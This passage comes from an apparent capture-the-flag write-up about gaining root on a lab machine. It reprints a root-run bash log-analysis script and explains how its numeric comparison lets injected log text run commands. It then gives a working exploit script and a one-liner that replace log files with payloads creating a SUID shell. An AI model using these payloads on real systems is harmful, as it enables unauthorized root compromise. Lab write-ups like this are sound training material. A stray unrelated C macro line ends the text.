/var/log/laurel/audit.log.1
/var/log/laurel/audit.log
/var/log/laurel/audit.log.4
/var/log/auth.log
/var/log/syslog
/var/log/kern.log
/var/www/web/cloud-gateway/log/application.log
/var/www/web/user-management-service/log/application.log

Beyond the system logs, the last two application.log stood out — recently and rhythmically updated.

╔══════════╣ Unexpected in /opt (usually empty)

total 24
drwxr-xr-x  4 root root     4096 Mar 20 14:17 .
drwxr-xr-x 19 root root     4096 Apr 22 12:47 ..
drwxrwx---  2 root www-data 4096 Aug  7  2024 heapdump
-rwxrwxr-x  1 root root     4980 Mar 20 14:17 log_analyse.sh
drwxr-x---  2 root root     4096 Apr  9 18:34 scripts

Although we cannot access the heapdump and scripts folders, there's a suspicious root-owned script log_analyse.sh blinking on our radar..

Code Reivew

The log_analyse.sh script is a privilege escalation vector:

Bash
#!/bin/bash

# Colors
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
RESET='\033[0m'

LOG_FILE="$1"
OUTPUT_FILE="log_analysis.txt"

declare -A successful_users  # Associative array: username -> count
declare -A failed_users      # Associative array: username -> count
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0") # Indexed array: "code:count" pairs

if [ ! -f "$LOG_FILE" ]; then
    echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"
    exit 1
fi


analyze_logins() {
    # Process successful logins
    while IFS= read -r line; do
        username=$(echo "$line" | awk -F"'" '{print $2}')
        if [ -n "${successful_users[$username]+_}" ]; then
            successful_users[$username]=$((successful_users[$username] + 1))
        else
            successful_users[$username]=1
        fi
    done < <(grep "LoginSuccessLogger" "$LOG_FILE")

    # Process failed logins
    while IFS= read -r line; do
        username=$(echo "$line" | awk -F"'" '{print $2}')
        if [ -n "${failed_users[$username]+_}" ]; then
            failed_users[$username]=$((failed_users[$username] + 1))
        else
            failed_users[$username]=1
        fi
    done < <(grep "LoginFailureLogger" "$LOG_FILE")
}


analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}


analyze_log_errors(){
     # Log Level Counts (colored)
    echo -e "\n${YELLOW}[+] Log Level Counts:${RESET}"
    log_levels=$(grep -oP '(?<=Z  )\w+' "$LOG_FILE" | sort | uniq -c)
    echo "$log_levels" | awk -v blue="$BLUE" -v yellow="$YELLOW" -v red="$RED" -v reset="$RESET" '{
        if ($2 == "INFO") color=blue;
        else if ($2 == "WARN") color=yellow;
        else if ($2 == "ERROR") color=red;
        else color=reset;
        printf "%s%6s %s%s\n", color, $1, $2, reset
    }'

    # ERROR Messages
    error_messages=$(grep ' ERROR ' "$LOG_FILE" | awk -F' ERROR ' '{print $2}')
    echo -e "\n${RED}[+] ERROR Messages:${RESET}"
    echo "$error_messages" | awk -v red="$RED" -v reset="$RESET" '{print red $0 reset}'

    # Eureka Errors
    eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE")
    eureka_count=$(echo "$eureka_errors" | wc -l)
    echo -e "\n${YELLOW}[+] Eureka Connection Failures:${RESET}"
    echo -e "${YELLOW}Count: $eureka_count${RESET}"
    echo "$eureka_errors" | tail -n 2 | awk -v yellow="$YELLOW" -v reset="$RESET" '{print yellow $0 reset}'
}


display_results() {
    echo -e "${BLUE}----- Log Analysis Report -----${RESET}"

    # Successful logins
    echo -e "\n${GREEN}[+] Successful Login Counts:${RESET}"
    total_success=0
    for user in "${!successful_users[@]}"; do
        count=${successful_users[$user]}
        printf "${GREEN}%6s %s${RESET}\n" "$count" "$user"
        total_success=$((total_success + count))
    done
    echo -e "${GREEN}\nTotal Successful Logins: $total_success${RESET}"

    # Failed logins
    echo -e "\n${RED}[+] Failed Login Attempts:${RESET}"
    total_failed=0
    for user in "${!failed_users[@]}"; do
        count=${failed_users[$user]}
        printf "${RED}%6s %s${RESET}\n" "$count" "$user"
        total_failed=$((total_failed + count))
    done
    echo -e "${RED}\nTotal Failed Login Attempts: $total_failed${RESET}"

    # HTTP status codes
    echo -e "\n${CYAN}[+] HTTP Status Code Distribution:${RESET}"
    total_requests=0
    # Sort codes numerically
    IFS=$'\n' sorted=($(sort -n -t':' -k1 <<<"${STATUS_CODES[*]}"))
    unset IFS
    for entry in "${sorted[@]}"; do
        code=$(echo "$entry" | cut -d':' -f1)
        count=$(echo "$entry" | cut -d':' -f2)
        total_requests=$((total_requests + count))

        # Color coding
        if [[ $code =~ ^2 ]]; then color="$GREEN"
        elif [[ $code =~ ^3 ]]; then color="$YELLOW"
        elif [[ $code =~ ^4 || $code =~ ^5 ]]; then color="$RED"
        else color="$CYAN"
        fi

        printf "${color}%6s %s${RESET}\n" "$count" "$code"
    done
    echo -e "${CYAN}\nTotal HTTP Requests Tracked: $total_requests${RESET}"
}


# Main execution
analyze_logins
analyze_http_statuses
display_results | tee "$OUTPUT_FILE"
analyze_log_errors | tee -a "$OUTPUT_FILE"
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"

It takes one argument: a log file path. Then It reads and parses that file: grep, awk, count login events, HTTP codes, etc. Eventually, It saves output to a file: log_analysis.txt (in the current directory).

However, a security risk lies in the analyze_http_statuses() function:

Bash
grep "HTTP.*Status: " "$LOG_FILE" | while read line; do
    code=$(echo "$line" | grep -oP 'Status: \K.*')

It first extracts data with keyword "HTTP.*Status: ". Then grep -oP 'Status: \K.*' will extract everything after "Status: " from the line – Whatever is extracted goes into variable code.

Then code is interpreted in:

Bash
if [[ "$existing_code" -eq "$code" ]]; then
  • -eq is a numeric comparison.
  • If $code is NOT a number, bash will evaluate it.
  • If $code is something like a[$(id)], then bash will expand the $(...) before comparison.

a can be treated like a variable name, where a[...] can be treated as a kind of array access (even if a doesn't exist, Bash doesn't care initially during parsing). So Bash parses inside the [ ... ], and executes the $(...).

This is exactly a Command Injection surface via log contents, when the script runs as root (we should check if it's called by cron later). And it trusts the input file ($LOG_FILE) completely washout sanitizing anything.

Pspy

We couldn't peer into root's crontab directly — but no matter. We can run pspy to monitor the file system:

Bash
./pspy64 -cpf -i 1000 

As a result, we discover some activities relating to the log_analyse.sh script:

The blue repeats:

CMD: UID=0     PID=400638 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
CMD: UID=0     PID=398850 | /bin/bash /opt/log_analyse.sh /var/www/web/user-management-service/log/application.log
  • UID=0 means root.
  • The script /opt/log_analyse.sh is being launched as root.
  • Multiple instances (PID=400638, PID=398850, etc.) are visible — meaning the script is highly susceptible for being called by a cronjob or monitoring service.

Earlier, we did discover that /var/www/web/cloud-gateway/log/application.log and /opt/log_analyse.sh /var/www/web/user-management-service/log/application.log are constantly updated according to the LinPEAS result.

The /var/www/web/cloud-gateway/log/application.log file contains the keyword formt "HTTP.*Status:":

miranda-wise@eureka:/dev/shm$ tail /var/www/web/cloud-gateway/log/application.log -n5

2025-04-27T12:45:01.612Z  INFO 2314 --- [app-gateway] [reactor-http-epoll-1] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403
2025-04-27T12:45:01.651Z  INFO 2314 --- [app-gateway] [reactor-http-epoll-2] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403
2025-04-27T12:45:01.690Z  INFO 2314 --- [app-gateway] [reactor-http-epoll-3] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403
2025-04-27T12:45:01.725Z  INFO 2314 --- [app-gateway] [reactor-http-epoll-4] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403
2025-04-27T12:45:01.756Z  INFO 2314 --- [app-gateway] [reactor-http-epoll-1] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403

… which will be extracted and passed to another regex 'Status: \K.*' in the analyze_http_statuses() function logic. This means root is running the vulnerable script log_analyse.sh to parse the logs.

Therefore, we should not immediately check the permissions on the log files:

miranda-wise@eureka:/dev/shm$ groups
miranda-wise developers

miranda-wise@eureka:/dev/shm$ ls -l /var/www/web/user-management-service/log/application.log
-rw-rw-r-- 1 www-data www-data 17361 Apr 27 12:51 /var/www/web/user-management-service/log/application.log

miranda-wise@eureka:/dev/shm$ ls -ld /var/www/web/user-management-service/log/
drwxrwxr-x 3 www-data developers 4096 Apr 27 07:44 /var/www/web/user-management-service/log/

miranda-wise@eureka:/dev/shm$ ls -l /var/www/web/cloud-gateway/log/application.log
-rw-r--r-- 1 www-data www-data 22339 Apr 27 12:45 /var/www/web/cloud-gateway/log/application.log

miranda-wise@eureka:/dev/shm$ ls -ld /var/www/web/cloud-gateway/log
drwxrwxr-x 2 www-data developers  4096 Apr 27 07:44 /var/www/web/cloud-gateway/log

We cannot edit the files directly, but we have full rights to modify their parent directories as member of developers group – meaning we can delete them, then replace them.

Bingo.

Privesc

After dissecting the vulnerability chain, we moved in for the root compromise:

Bash
#!/bin/bash

TARGETS=(
    "/var/www/web/user-management-service/log/application.log"
    "/var/www/web/cloud-gateway/log/application.log"
)

PAYLOAD='HTTPAxuraIsAJokeStatus: a[$(cp /bin/bash /tmp/pwn && chmod +s /tmp/pwn)]'

for log in "${TARGETS[@]}"; do
    echo "[+] Replacing $log"
    rm -f "$log"
    echo "$PAYLOAD" > "$log"
done

echo "[+] Done. Wait for cron to escalate."

We didn’t even need to weaponize both targets like I did in the script. Replacing either log with a payload like:

Bash
HTTP Status: a[$(chmod +s /bin/bash)]

…would corrupt the parsing logic inside the vulnerable analyze_http_statuses() function of log_analyse.sh, triggering command injection under root execution.

Soon enough:

Rooted.


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)